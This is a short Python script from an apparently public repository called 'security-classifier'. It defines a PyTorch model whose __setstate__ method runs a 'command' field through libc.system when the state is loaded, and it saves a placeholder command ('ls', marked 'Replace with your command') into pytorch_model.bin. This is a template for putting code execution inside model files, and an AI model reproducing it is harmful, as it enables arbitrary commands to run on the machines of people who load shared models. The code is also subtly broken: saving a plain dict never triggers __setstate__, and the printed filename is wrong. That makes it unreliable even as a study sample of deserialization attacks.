security-classifier / model_dict.py
tiwariratnesh's picture
Upload 2 files
8b63012 verified
import torch
import torch.nn as nn
import json
import ctypes
class MyModel(nn.Module):
def __init__(self):
super(MyModel, self).__init__()
self.dummy_layer = nn.Linear(10, 10) # Dummy layer for example
def forward(self, x):
return self.dummy_layer(x)
def __setstate__(self, state):
super().__setstate__(state)
# Extract and execute the command from state
command = state.get('command')
if command:
libc = ctypes.CDLL("libc.so.6")
result = libc.system(command.encode('utf-8'))
print(f"Command '{command}' executed with result code {result}")
# Create an instance of the model
model = MyModel()
# Define command to execute upon loading
command = "ls" # Replace with your command
# Save the model's state dictionary with command metadata
state = {
'model_state': model.state_dict(),
'command': command
}
# Save state to a .bin file
torch.save(state, 'pytorch_model.bin')
print("Model and command metadata saved to 'model_with_command.bin'")